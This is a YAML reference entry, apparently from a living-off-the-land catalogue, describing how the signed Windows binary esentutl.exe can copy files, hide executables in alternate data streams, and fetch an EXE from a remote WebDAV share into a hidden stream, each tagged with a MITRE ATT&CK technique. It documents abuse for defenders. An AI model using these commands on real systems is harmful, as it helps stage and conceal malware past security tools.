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Name: Esentutl.exe
Description: Binary for working with Microsoft Joint Engine Technology (JET) database
Author: 'Oddvar Moe'
Created: '2018-05-25'
Commands:
  - Command: esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o
    Description: Copies the source VBS file to the destination VBS file.
    Usecase: Copies files from A to B
    Category: Copy 
    Privileges: User
    MitreID: T1105
    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  - Command: esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o
    Description: Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.
    Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure
    Category: Alternate data streams
    Privileges: User
    MitreID: T1096
    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  - Command: esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o
    Description: Copies the source Alternate Data Stream (ADS) to the destination EXE.
    Usecase: Extract hidden file within alternate data streams
    Category: Alternate data streams
    Privileges: User
    MitreID: T1096
    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  - Command: esentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /o
    Description: Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.  
    Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure
    Category: Alternate data streams
    Privileges: User
    MitreID: T1096
    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  - Command: esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
    Description: Copies the source EXE to the destination EXE file
    Usecase: Use to copy files from one unc path to another
    Category: Download
    Privileges: User
    MitreID: T1096
    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full Path:
  - Path: C:\Windows\System32\esentutl.exe
  - Path: C:\Windows\SysWOW64\esentutl.exe
Code Sample: 
- Code:
Detection:
 - IOC: 
Resources:
  - Link: https://twitter.com/egre55/status/985994639202283520
Acknowledgement:
  - Person: egre55
    Handle: '@egre55'
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